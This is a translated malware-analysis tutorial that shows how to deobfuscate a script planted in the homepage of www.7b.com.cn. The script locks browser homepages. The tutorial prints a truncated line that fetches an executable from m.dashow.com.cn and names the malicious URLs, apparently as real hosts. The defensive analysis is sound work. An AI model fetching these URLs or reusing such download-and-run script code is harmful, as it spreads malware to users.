Easily dig out viruses hidden in malicious websites

Not long ago, many netizens were infected with the virus of www.7b.com.cn, and the homepage was changed to this website, and it could not be changed back. How does a hacker lock the user's browser home page? Let's go and find out.

Reminder: There are certain risks in analyzing viruses. It is recommended to operate under virtual machines.

The first step is to view the source code of the homepage of www.7b.com.cn. You can find the following words at the end:

This is a page embedded in the homepage of the 7b website. That is, opening www.7b.com.cn will also open this page at the same time.

And "http://m.dashow.com.cn/m.html" represents a string, and "&#" is followed by the ASCII decimal value of each string.

Save this garbled directly as an HTM file, open it with IE, and you can see its true face "http://m.dashow.com.cn/m.html".

The second step is to view the source code of http://m.dashow.com.cn/m.html, replace the Execute in the script section with Document.Write, and then open the HTM page. There will be a piece of code. Similarly, replace EXECUTE with our invincible Document.Write, add the script mark before and after, and save the HTM. A dazzling thing immediately appeared on the screen. Organize the dazzling things and use the CHR() that appeared earlier. The effect is to convert the ASCII character into a character, but this time it is hexadecimal. Then stitch the characters into a string and then Execute to run the command string. Continue to replace EXECUTE with Document.Write, add script mark before and after, and save HTM.

The third step After the last few steps of restoration, I finally saw the final face of this malicious page.

on error resume next curl = "http://m.dashow.com.cn/start.exe"...and omitted later.

We can clearly see the link http://m.dashow.com.cn/start.exe in this code. That's right, it's a virus that can lock the user's homepage to www.7b.com.cn after running.

You can download this file with the download tool. If your anti-virus software can't find it, it is best to report it immediately. This will ensure that the anti-virus software quickly kills the virus and protects fewer netizens from the virus.